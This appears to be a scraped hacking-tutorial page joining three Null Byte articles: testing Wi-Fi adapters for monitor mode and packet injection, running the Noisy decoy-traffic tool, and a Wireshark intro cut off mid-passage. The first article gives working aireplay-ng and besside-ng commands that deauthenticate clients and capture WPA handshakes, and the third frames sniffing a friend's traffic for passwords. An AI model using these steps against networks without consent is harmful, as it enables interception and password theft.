weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Catch an Internet Catfish with Grabify Tracking LinksHow To:Stop Ads from Spying on Your iPhone ActivityHow To:Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & MoreMarket Reality:Level Ex Closes $11 Million in Financing, While Gaze Coin Seeks $12 Million through ICOHow to Hack with Arduino:Defeat VPNs & Track a MacOS Computer RemotelyNews:Facebook Adds Image Tracking Effects & Slider Controls to Spark AR for InstagramHow To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameNews:Safari to Block Third-Party Tracking & AutoplayHow To:Track Micronutrients to Monitor Your Vitamin & Mineral IntakeHow To:Sync Chrome's Clipboard from Your Desktop to Your Android Phone & BackHow To:Download Any SoundCloud or YouTube Song on AndroidHow To:Shorten links with bit.lyHow To:Track Your Workouts with Samsung HealthHack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)News:Markerless Tracking & Tango Support Come to Scope AR's Remote Assistance Solution Remote ARHow To:Track a Package with UPSHow To:Find Out if Your Wireless Carrier Is Tracking You on AndroidNews:Kickstarter Game System Uses iOS & Android Devices to Merge Tabletop Gaming with Augmented RealityHow To:Share Songs from Pandora with Friends on WhatsApp, Twitter, or FacebookHow To:Turn Pandora Likes into a Spotify PlaylistHow To:The Five Phases of HackingHow To:Spy on SSH Sessions with SSHPry2.0News:Hand Tracking for Augmented Reality Apps Comes to Smartphones via uSensHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Record Your Sleep Patterns with Samsung Health β€” No Wearables NeededGoogle Chrome 101:How to Install the Beta Browser on iPhone & AndroidNews:Use Decentralized Cloud Storage to Keep the NSA from Tracking YouHow To:Create a Super Speed Track in MinecraftNews:Obama supports drone attacksNews:OutrightHow To:setup an external MIDI device with Apple LogicNews:StreetRallyHow To:Use Google's New Privacy Tools to Stop Them from Tracking YouThe Anonymous Search Engine:How to Browse the Internet Without Being TrackedNews:Activating & exporting multi-outs in Superior DrummerReceipt Racer:A Paper and Laser Tangible Video GameHow To:Stop Your iPhone from Switching Tracks While in MotionTHE FILM LAB:Motion TrackingNews:Mentally Disturbed Woman Claims Implant Bomb as TSA Orders New Grope DirectiveHow To:Prevent Social Networks from Tracking Your Internet Activities
How to Check if Your Wireless Network Adapter Supports Monitor Mode & Packet Injection Β« Null Byte :: WonderHowTo
Tohack a Wi-Fi network, you needyour wireless cardto support monitor mode and packet injection. Not all wireless cards can do this, but you can quickly test one you already own for compatibility, and you can verify that the chipset inside an adapter you're thinking of purchasing will work for Wi-Fi hacking.Wireless cards supporting monitor mode and packet injection enable an ethical hacker to listen in on other Wi-Fi conversations and even inject malicious packets into a network. The wireless cards in most laptops aren't very good at doing anything other than what's required to establish a basic Wi-Fi connection.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2018While some internal cards may offer some support for monitor mode, it's more common to find that your card isn't supported for tools included in Kali Linux. I found the card in a Lenovo laptop I use to support both, so sometimes it's possible to save by using your internal laptop card for practice when appropriate. If the internal one doesn't support the modes, an external one will be needed.External network adapters average between $15 and $40 per card. While this may not seem like much, making a mistake in purchasing a network adapter can add up quickly and be discouraging when first learning about Wi-Fi security.These devices may seem a little complicated at first, but they're pretty simple. Each wireless network adapter has a chip inside of it that contains its own CPU. This chip, along with the other circuitry in the adapter, translates signals from your computer into radio pulses called "packets," which transfer information between devices. Choosing a Wi-Fi adapter requires you to know about a few things, such as the chipset inside, the antenna in use, and the types of Wi-Fi that the card support.Jump to a Section:Check a Perspective Card|Test an Existing Card|Try an Attack Out to Make Sure It WorksOption 1: Check an Adapter's Chipset Before You BuyIf you haven't yet purchased the wireless network card you're considering, there are several ways you can check to see if it supports monitor mode and packet injection before committing to a purchase. Before we dive into those, however, you need to know the difference between manufacturers, so there's no confusion.Identifying the Card's SellerThe seller is, you guess it, the manufacturer selling the network adapter. Examples include TP-link, Panda Wireless, or Alfa. These manufacturers are responsible for the physical layout and design of the adapter but do not produce the actual CPU that goes inside the adapter.Identifying the Chip MakerThe second manufacturer is the one that makes the chip that powers the adapter. The chip is what controls the behavior of the card, which is why it's much more important to determine the chipset manufacturer than the adapter manufacturer. For example, Panda Wireless cards frequently use Ralink chipsets, which is the more critical piece of information to have.Determining the ChipsetCertain chipsets are known to work without much or any configuration needed for getting started, meaning that you can expect an adapter containing a particular supported chipset to be an easy choice.A good place to start when looking up the chipset of a wireless network adapter you're considering buying is Aircrack-ng's compatibility pages. Theolder "deprecated" versionstill contains a lot of useful information about the chipsets that will work with Aircrack-ng and other Wi-Fi hacking tools.Thenewer versionof the Aircrack-ng guide is also useful for explaining the way to check newer cards for compatibility, although it lacks an easy-to-understand table for compatibility the way the deprecated page does.Aside from Aircrack-ng's website, you can often look up card details on a resource like theWikiDevidatabase, which allows you to look up details on most wireless network adapters. Another resource is thelist of officially supported Linux drivers, which includes a handy table showing which models support monitor mode.Atheros chipsets are especially popular, so if you suspect your device contains an Atheros chipset, you can check anAtheros-only guide.Having a hard time finding the chipset of a card you're looking for? You can find a picture of the FCC ID number on the sticker of the device. The number can be input into websites likeFCCID.iowhich include internal photos of the chipsets in use.Once you've determined the chipset of the device you're considering, you should be able to predict its behavior. If the chipset of the wireless network adapter you're considering is listed as supporting monitor mode, you should be good to go.Knowing Which Card Is Worth ItTo make things easy on you, the following chipsets are known to support monitor mode and packet injection per our testing:Atheros AR9271:TheAlfa AWUS036NHAis my favorite long-range network adapter and the standard by which I judge other long-range adapters. It's stable, fast, and a well-supported b/g/n wireless network adapter. There's also theTP-Link TL-WN722N, a favorite for newbies and experienced hackers alike. It's a compact b/g/n adapter that has one of the cheapest prices but boasts surprisingly impressive performance. That being said, only v1 will work with Kali Linux since v2 uses a different chipset.Ralink RT3070:This chipset resides inside a number of popular wireless network adapters. Of those, theAlfa AWUS036NHis a b/g/n adapter with an absurd amount of range. It can be amplified by the omnidirectional antenna and can be paired with aYagiorPaddleantenna to create a directional array. For a more discreet wireless adapter that can be plugged in via USB, theAlfa AWUS036NEHis a powerful b/g/n adapter that's slim and doesn't require a USB cable to use. It has the added advantage of retaining its swappable antenna. If you need a stealthier option that doesn't look like it could hack anything, you might consider the g/nPanda PAU05. While small, it's a low profile adapter with a strong performance in the short and medium range, a reduced range for when you want to gather network data without including everything within several blocks.Ralink RT3572:While the previous adapters have been 2.4 GHz only, theAlfa AWUS051NH v2is a dual-band adapter that is also compatible with 5 GHz networks. While slightly pricier, the dual-band capacity and compatibility with 802.11n draft 3.0 and 802.11a/b/g wireless standards make this a more advanced option.Realtek 8187L (Wireless G adapters):TheAlfa AWUS036HUSB 2.4 GHz adapters use this older chipset that is less useful and will not pick up as many networks. These cards still will work against some networks, thus are great for beginners, as there are a ton around for cheap.Realtek RTL8812AU:Supported in 2017, theAlfa AWUS036ACHis a beast, with dual antennas and 802.11ac and a, b, g, n compatibility with 300 Mbps at 2.4 GHz and 867 Mbps at 5 GHz. It's one of the newest offerings that are compatible with Kali, so if you're looking for the fastest and longest range, this would be an adapter to consider. To use it, you may need to first run "apt update" followed by "apt install realtek-rtl88xxau-dkms" which will install the needed drivers to enable packet injection.Aircrack-ng alsolists a few cardsas best in class on its site, so if you're interested in more suggestions, check it out (some of the ones listed above are also on its list). Also, check out ourhead-to-head test of wireless network adapterscompatible with Kali Linux.More Info:Select a Field-Tested Kali Linux Compatible Wireless AdapterOn Amazon:Alfa AWUS036NHA Wireless B/G/N USB AdapterOther Considerations in Adapter SelectionAside from the chipset, another consideration is the frequency on which the adapter operates. While most Wi-Fi devices, including IoT devices, operate on the older 2.4 GHz band, many newer devices also offer 5 GHz networks. These networks are generally faster and can transfer more data, but are also usually paired with a 2.4 GHz network. The question when purchasing then becomes, is it worth it to invest the extra money in a 2.4/5 GHz antenna that can detect (and attack) both?In many cases, unless the point of your attack is to probe all of the available networks in an area, a 2.4 GHz card will be fine. If 5 GHz is important to you, there are many 5 GHz Wi-Fi cards that support monitor mode and packet injection, an example being thePanda Wireless Pau09.On Amazon:Panda Wireless PAU09 N600 Dual Band (2.4 GHz / 5 GHz) Wireless N USB AdapterAnother important factor is determining whether you need to mount a specialized antenna. While most omnidirectional antennas will be fine for a beginner, you may want to switch to an antenna with a directional pattern to focus on a particular network or area rather than everything in a circle around you. If this is the case, look for adapters with antennas that can be removed and swapped with a different type.Option 2: Test Your Existing Wireless Network AdapterIf you already have a wireless network adapter, you can check pretty easily if the chipset inside supports monitor mode and packet injection. To start, plug in the network adapter and then open a terminal window. You should be able to determine the chipset of the network adapter by simply typinglsusb -vvinto the terminal window and looking for an output similar to below.lsusb -vv Bus 001 Device 002: ID 148f:5372 Ralink Technology, Corp. RT5372 Wireless Adapter Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x148f Ralink Technology, Corp. idProduct 0x5372 RT5372 Wireless Adapter bcdDevice 1.01 iManufacturer 1 Ralink iProduct 2 802.11 n WLAN iSerial 3 (error) bNumConfigurations 1In my example, I'm looking at aPanda Wireless PAU06network adapter, which reports having an RT5372 chipset from Ralink, which is listed as supported! Once you know the chipset of your card, you should have a rough idea of what it can do.Testing Your Adapter's AbilitiesNow, let's move on to more active testing of the adapter's capabilities.Step 1: Put Your Card in Monitor ModeFor this step, we'll break out Airmon-ng, but before that, you'll need to locate the name of the interface. On your system, run the commandifconfig(orip a) to see a list of all devices connected. On Kali Linux, your card should be listed as something like wlan0 or wlan1.ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255 inet6 fe80::a00:27ff:fe59:1b51 prefixlen 64 scopeid 0x20<link> ether 86:09:15:d2:9e:96 txqueuelen 1000 (Ethernet) RX packets 700 bytes 925050 (903.3 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 519 bytes 33297 (32.5 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 20 bytes 1116 (1.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 20 bytes 1116 (1.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether EE-A5-3C-37-34-4A txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Once you have the name of the network interface, you can attempt to put it into monitor mode by typingairmon-ng start wlan0(assuming your interface name is wlan0). If you see the output below, then your card appears to support wireless monitor mode.airmon-ng start wlan0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 428 NetworkManager 522 dhclient 718 wpa_supplicant PHY Interface Driver Chipset phy1 wlan0 rt2800usb Ralink Technology, Corp. RT5372 (mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon) (mac80211 station mode vif disabled for [phy1]wlan0)You can confirm the results by typingiwconfig, and you should see the name of your card has changed to add a "mon" at the end of your card's name. It should also report "Mode:Monitor" if it has been successfully put into monitor mode.iwconfig wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:offStep 2: Test Your Card for Packet InjectionTesting for packet injection is fairly straightforward to test thanks to tools included in Airplay-ng. After putting your card into monitor mode in the last step, you can run a test to see if the wireless network adapter is capable of injecting packets into nearby wireless networks.Starting with your interface in monitor mode, make sure you are in proximity to a few Wi-Fi networks so that the adapter has a chance of succeeding. Then, in a terminal window, typeaireplay-ng --test wlan0monto start the packet injection test.Don't Miss:Disable Cameras on Any Wireless Network with Aireplay-ngaireplay-ng --test wlan0mon 12:47:05 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE) on channel 7 12:47:05 Trying broadcast probe requests... 12:47:06 Injection is working! 12:47:07 Found 1 AP 12:47:07 Trying directed probe requests... 12:47:07 AA:BB:CC:DD:EE - channel: 7 - 'Dobis' 12:47:08 Ping (min/avg/max): 0.891ms/15.899ms/32.832ms Power: -21.72 12:47:08 29/30: 96%If you get a result like above, then congratulations, your network card is successfully injecting packets into nearby networks. If you get a result like the one below, then your card may not support packet injection.aireplay-ng --test wlan0mon 21:47:18 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE) on channel 6 21:47:18 Trying broadcast probe requests... 21:47:20 No Answer... 21:47:20 Found 1 AP 21:47:20 Trying directed probe requests... 21:47:20 74:85:2A:97:5B:08 - channel: 6 - 'Dobis' 21:47:26 0/30: 0%Step 3: Test with an Attack to Make Sure Everything WorksFinally, we can put the above two steps into practice by attempting to capture a WPA handshake usingBesside-ng, a versatile and extremely useful tool for WPA cracking, which also happens to be a great way of testing if your card is able to attack a WPA network.Don't Miss:Automating Wi-Fi Hacking with Besside-ngTo start, make sure you have a network nearby you have permission to attack. By default, Besside-ng will attack everything in range, and the attack is very noisy. Besside-ng is designed to scan for networks with a device connected, then attack the connection by injecting deauthentication packets, causing the device to momentarily disconnect. When it reconnects, a hacker can use the information exchanged by the devices to attempt to brute-force the password.Type thebesside-ng -R 'Target Network' wlan0moncommand, with the-Rfield replaced with the name of your test network. It will begin attempting to grab a handshake from the victim network. For this to work, there must be a device connected to the Wi-Fi network you're attacking. If there isn't a device present, then there is no one to kick off the network so you can't try to capture the handshake.besside-ng -R 'Target Network' wlan0mon [21:08:54] Let's ride [21:08:54] Resuming from besside.log [21:08:54] Appending to wpa.cap [21:08:54] Appending to wep.cap [21:08:54] Logging to besside.logIf you get an output like below, then congratulations! Your card is capable of grabbing handshakes from WPA/WPA2 networks. You can also check outour guide on Besside-ngto understand more about what a Besside-ng attack is capable of.besside-ng wlan0mon [03:20:45] Let's ride [03:20:45] Resuming from besside.log [03:20:45] Appending to wpa.cap [03:20:45] Appending to wep.cap [03:20:45] Logging to besside.log [03:20:56] TO-OWN [DirtyLittleBirdyFeet*, Sonos*] OWNED [] [03:21:03] Crappy connection - Sonos unreachable got 0/10 (100% loss) [-74 dbm] [03:21:07] Got necessary WPA handshake info for DirtyLittleBirdyFeet [03:21:07] Run aircrack on wpa.cap for WPA key [03:21:07] Pwned network DirtyLittleBirdyFeet in 0:04 mins:sec [03:21:07] TO-OWN [Sonos*] OWNED [DirtyLittleBirdyFeet*]A Flexible Network Adapter Is Key to Wi-Fi HackingA powerful wireless network adapter with the ability to inject packets and listen in on Wi-Fi conversations around it gives any hacker an advantage over the airwaves. It can be confusing picking the right adapter for you, but by carefully checking the chipset contained, you can ensure you won't be surprised when you make your purchase. If you already have an adapter, putting it through its paces before using it in the field is recommended before you rely on it for anything too important.I hope you enjoyed this guide to testing your wireless network cards for packet injection and wireless monitor mode. If you have any questions about this tutorial on Kali-compatible wireless network adapters or you have a comment, feel free to reach me on Twitter@KodyKinzie.Don't Miss:Hack Wi-Fi & Networks More Easily with Lazy ScriptFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hack WPA WiFi Passwords by Cracking the WPS PINGuide:Wi-Fi Cards and ChipsetsHow To:Build a Pumpkin Pi β€” The Rogue AP & MITM Framework That Fits in Your PocketHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Spy on Network Relationships with Airgraph-NgHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Hack WiFi Using a WPS Pixie Dust AttackHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Hack Wi-Fi Networks with BettercapHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Crack Wi-Fi Passwordsβ€”For Beginners!How to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Get Free Wi-Fi from Hotels & MoreHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get Packet Injection Capable Drivers in LinuxHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelHow To:Bypass a Local Network Proxy for Free InternetHow To:Use Wireshark to Steal Your Own Local Passwords
How to Flood Your ISP with Random, Noisy Data to Protect Your Privacy on the Internet Β« Null Byte :: WonderHowTo
Net neutrality is dead and your internet service providers can collect all the data they want. WhileVPNsare a great way to protect some of that privacy, they're not perfect. There is another option, though, calledNoisy, which was created byItay Hury. It floods your ISP with so much random HTTP/DNS noise that your data is useless to anyone even if they do get it.If you've been hiding under a rock the past year or so and don't knowwhat net neutrality is, then let's catch you up real quick. ...What people have been talking about lately isS.J.Res.34, the bill (now law) that repeals net neutrality. This means that your ISP can now legally collect your web data without your knowledge or consent. In practical terms, that means your IP addresses, which could be turned into a physical location, your web history, and non-HTTPS webpages and content including forms submitted. The Electronic Frontier Foundation (EFF) believes they could doeven more than that, using the data themselves or selling it to the highest bidder en masse.This is where Noisy comes in. The tool helps protect your data by hiding it in plain sight. More precisely, it's a "simple Python script that generates random HTTP/DNS traffic noise in the background while you go about your regular web browsing." In this way, your data is no longer unique or useful to advertisers or other data analytic firms.Noisy isn't a new idea, as it was inspired bySquawk, which is a bit of HTML code added to websites that cause the pages to send additional random requests, but Noisy makes it an easy-to-use and modify Python program. Let's take a look at how to get it up and running.Step 1: Install DependenciesAs a Python program, you will need to havePython installed. In Kali Linux, it's already installed. It's compatible with both Python 2.7 and 3.6. You can use the following command to check the version you have.python -VThe Noisy program uses therequests modulefor Python, so you'll need that. You can usepipto install it:pip install requestsAdditionally, you may get more use out of Noisy if you haveDocker installed, since you can isolate the traffic in a contained environment away from what you're trying to hide, but it isn't required for the program to run.Don't Miss:How to Create a Reusable Burner OS with DockerStep 2: Clone Noisy from GitHubNow that Python is taken care of, download Noisy from GitHub withgit:git clone https://github.com/1tayH/noisy.gitAlternatively, you can navigate to theGitHub repositoryand download the .zip file. Click "Clone or download," then "Download ZIP." Once it's downloaded, open the file and click "Extract all" to unzip the file.Step 3: Open the Config FileNow we need to edit the configuration file. It's not required for the program to run, but it's an excellent opportunity to discuss how the program works and improve it. First, move into the Noisy directory withcd:cd noisyAfter that, you'll want to open up its config.json file in your favorite text editor. For example, if you'd like to useVim, just use this command:vim config.jsonAlternatively, you can open the "Files" folder on your desktop, navigate into "noisy," then open the config.json file with your favorite text editor. I like to useNotepad++.Don't Miss:An Intro to Vim, the Unix Text Editor Every Hacker Should KnowOnce you open the file, you'll see someJSONdata. Noisy works by starting from a "root_urls" and then waiting a random time between "min_sleep" and "max_sleep" (in seconds) before clicking a random link from the page going "max_depth" links deep. It then moves to the next root URL going through them in order.{ "max_depth": 25, "min_sleep": 3, "max_sleep": 6, "timeout": false, "root_urls": [ "http://4chan.org", "https://www.reddit.com", "https://www.yahoo.com", "http://www.cnn.com", "https://p---hub.com", "https://www.ebay.com", "https://wikipedia.org", "https://youtube.com", "https://github.com", "https://medium.com", "https://thep-----bay.org", ], "blacklisted_urls": [ "https://t.co", "t.umblr.com", "messenger.com", "itunes.apple.com", "l.facebook.com", "bit.ly", "mediawiki", ".css", ".ico", ".xml", "intent/tweet", "twitter.com/share", "dialog/feed?", ".json", "zendesk", "clickserve", ".png" ], "user agents": [ "there are many user agents here!" ] }You might notice a few problems with this config.json file. To begin with, there are only 11 root URLs. Additionally, some of those root URLs could be troublesome depending on the environment you find yourself in.The root sites are not going to appear on screen but could draw unwanted attention if anyone is monitoring the local network or if proxies or bans are in place on those particular sites. You may want to consider removing them, but be careful, because you want as many different sites on this list as possible. The more sites, the more random the noise.This is the biggest problem with the default config.json file β€” there are only 11 root URLs. With them going in order and looping back once it's reached the end, it could potentially create an easily recognizable data pattern that can be filtered out.Step 4: Add More Sites to the Config FileTo help remedy the problem above, I decided to make acustom config.json file. I decided that one million URLs would be a good number, so I downloaded theAlexa top one million websitesand used a quick and dirty Python program to randomize their order. Next, I ran the list through the randomizer five more times to make sure they were right and well mixed up. Finally, I copied the list of URLs over to the config.json file, which will make the noise that Noisy generates much more random.If you want to use my config.json file (which is over 25 MB in size), visitits GitHub pageand either right-click on "Download" and select "Save Link As" or just click on "Download" to open the file. If you clicked "Download," once it has loaded, right-click on it and "Save Page As" to your "noisy" folder to replace the original config.json. If you downloaded immediately, make sure to move the file over to the "noisy" folder manually.If you decide to put in your own URLs, remember we are editing JSON data, so each URL should have double quotation marks (" ") on both sides of it and a comma (,) at the end. I also like to put in thehttps://so it will always try the HTTPS version of the site first. For example:"https://website.com",Step 5: Start Being NoisyWith the config.json file updated, we're ready to get noisy! Make sure you're in thenoisydirectory withcd, and then run the Python program with the required config argument:cd noisy python noisy.py --config config.jsonAnd that's it. You're now generating random traffic. If everything's working, you should begin seeing an output stream like the one below, only with different URLs.INFO:root:Visiting https://azerbaijantourism.az/about INFO:requests.packages.urllib3.connectionpool:Starting new HTTPS connection (1): azerbaijantourism.az INFO:root:Visiting https://azerbaijantourism.az/ INFO:requests.packages.urllib3.connectionpool:Starting new HTTPS connection (1): azerbaijantourism.az INFO:root:Visiting https://azerbaijantourism.az/booking-conditions INFO:requests.packages.urllib3.connectionpool:Starting new HTTPS connection (1): azerbaijantourism.azTo stop Noisy, just hitCtrl-Con your keyboard.Step 6: See What Else You Can Do in NoisyWhen Noisy is not running, use thehorhelpargument to see what else you can do, like set a timeout.python noisy.py --helpHere are the other arguments you can use:usage: noisy.py [-h] [--log -l] --config -c [--timeout -t] optional arguments: -h, --help show this help message and exit --log -l logging level --config -c config file --timeout -t for how long the crawler should be running, in secondsStep 7: Run Noisy Using a Using Docker (Optional)It's also possible to containerize Noisy by usingDocker, as discussed previously. If you want to do this, it's as easy as using thebuildcommand. (You may need toinstall Docker firston your system.)docker build -t noisy .You can even build it for aRaspberry Pirunning Raspbian stretch; This would be a great option if you want to offload Noisy to have it run on a Pi somewhere else on the network.docker build -f Dockerfile.pi -t noisy .Once the Docker build is done, you can launch it withdocker run:docker run -it noisy --config config.jsonStep 8: Be the Noisiest with Noisy in Docker (Optional)You might have noticed when looking at the config.json file that the sleep time is a random integer in seconds. In practical terms, this means that the fastest Noisy can work is one new URL every second, if we set the configuration like so:"min_sleep": 0, "max_sleep": 1,However, this won't be fast enough for some users. For example, if you have a lot of real people on your network, you may want to generate more fake traffic to obfuscate their data. But that's not possible with the one-second limitation.Thankfully, Docker-compose can save us by allowing us to run multiple containers simultaneously to generate unlimited noise. Just move to the examples folder, then build the new docker image and run it with the number of containers you want.cd examples/docker-compose docker-compose build docker-compose up --scale noisy=<number-of-containers>If you do go this route, be careful about just how much data you're using. If you have an unlimited data connection, then it should be fine, only slightly slowing down the internet speed. On the other hand, if you do have some kind of data cap, then be mindful of just how much of that is being used by Noisy.As you've seen, Noisy is incredibly simple to get set up, and once you've done a little configuration, it's incredibly powerful. It should be a part of everyone's privacy strategy, guaranteeing if anyone does get ahold of your data, it's useless to them.Thanks for reading! If you have any questions, ask below or on Twitter@The_Hoid.Don't Miss:Fully Anonymize Kali with Tor, Whonix & PIA VPNFollow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Hoid/Null ByteRelatedHow To:A Hitchhiker's Guide to the Internet: Today and Now, How It All ConnectsHow To:Boost Internet Speeds & Hide Your Browsing History from Your ISPNews:A Rundown of the Privacy Policies for Major Mobile Carriers & ISPsHow To:5 Ways to Keep Google from Collecting Data on Your Android PhoneHow To:Top 10 Browser Extensions for Hackers & OSINT ResearchersHow To:Your Phone's Biggest Security Weakness Is Its Data Connection β€” Here's How to Lock It DownHow To:Opt Out of Ad Tracking on AndroidHow To:Clear Your Cache on Any Web BrowserNews:Here's Why You Should Be Using Private DNS on Your PhoneHow To:Block Annoying GDPR Cookie Pop-Ups While Browsing the Web on AndroidNews:Your Bose Headphones Are Spying on YouHow To:The 4 Best Firefox Mobile Extensions for Privacy & SecurityHow To:5 Ways to Communicate Safely on Your Smartphone β€” Keep Police & Big Data Out of Your ConversationsHow To:Conserve Data in Windows 10How To:5 Major Privacy Concerns with 5GHow To:Optimize & Speed Up Web Surfing on Your Nexus 7 Tablet with This Super Easy ModChrome 101:How to Set Your Privacy & Choose Which Data to Share with GoogleNews:Google Introduces AI for Its Android Services That Learns from You Without Compromising PrivacyHow To:The 4 Best Phones for Privacy & Security in 2020UDP Flooding:How to Kick a Local User Off the NetworkNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersNews:Should Kids Be Allowed to Use Facebook and Google+?News:Stop Internet CensorshipHow To:Become Anonymous on the Internet Using TorNews:Foursquare Money & PrivacyHow To:Permanently Erase Data So That It Cannot be RecoveredRemove Your Online Identity:The Ultimate Guide to Anonymity and Security on the InternetNews:Social Media Buttons – Solution For Inadvertent Data TransmissionHow To:How The Internet WorksHow To:amend Adobe Flash SettingsHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftNews:Privacy in the InternetHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsDEBUNKED:3 Viral Google+ MythsUncrackable:Secure Your Secrets with 4096-Bit EncryptionCoding Fundamentals:An Introduction to Data Structures and AlgorithmsHow To:Edit Your Google+ Account SettingsYour Poo Flood Begins:A Contest Update
How to Spy on Your "Buddy's" Network Traffic: An Intro to Wireshark and the OSI Model Β« Null Byte :: WonderHowTo
Wouldn't it be nice to just sit at your buddy's house, plug into his network, and see exactly what he's doing? What if itwasas easy as that? What makes packet sniffers likeWiresharksuch potent tools is that a majority of local area networks (LANs) are based on the shared Ethernet notion.In a shared Ethernet, you can think of all of the computers in a LAN as being plugged into the same wire, and all of the traffic that travels through it can be captured. Packet sniffers are more formally known as network analyzers and protocol analyzers. But what traffic are we talking about?Everything. Grantedencrypted datawill be unreadable to you, you can still see it, and anything that is sent plain text (not encrypted) can be grabbed very easily. This includes passwords, logins, instant messaging conversations, emails, etc.Everything.For example, assume thatyournetwork card picks up a packet fromsomeone else'snetwork. Normally, once the packet is handed off, the operating system must determine exactly what type of packet it is. To do so, it strips off the Ethernet header of the packet and looks at the next layer. Perhaps it's an IP packet.. Well, the OS must now strip of the IP header and determine which type of IP packet it is. Finally, let's say it's determined that the packet is aUDPpacket. The UDP header is stripped off and the packet payload (the data) is handed over to the application that the packet was sent to.Now, thisisan oversimplified version of what really goes on, but I'm trying to illustrate a point. Packet capture allows us to intercept any packet that is seen by the network device, and grab it in its entirety, headers and all. Regardless of which port is being sent to, or even which host, for that matter.Before we get into grabbing frames and causing mayhem for lulz, we need to explain what a packet is and the concept of a frame. I believe knowing how something works is much better than just learning to do it, so let's dive into some networking!The Open Source Interconnection (OSI) ModelThe OSI model is a layered model that describes how information moves from an application running on one networked computer to an application running on another networked computer. Think of it this way, the OSI model describes the steps to be used to transfer data from one networked device to another. Easy.The model is divided into seven layers, as shown below. If you are serious about learning networking and information security, my advice is to memorize this image. I know it looks long and complicated at first, and trust me it is. But the more you use this (and you will) the faster it will come to you.The reason for using a layered networking approach is that a layered model takes a task, such as data communications, and breaks it into a series of tasks, activities or components, each of which is defined and developed independently. OSI layers also allow extensibility. New protocols and other network services are generally easier to add to a layered architecture.The basic idea behind the OSI reference model is thisβ€”Each layer is in charge of some kind of processing and each layer only talks to the layers immediately below and above it.For example, the sixth layer will only talk to the seventh and fifth layers, and never 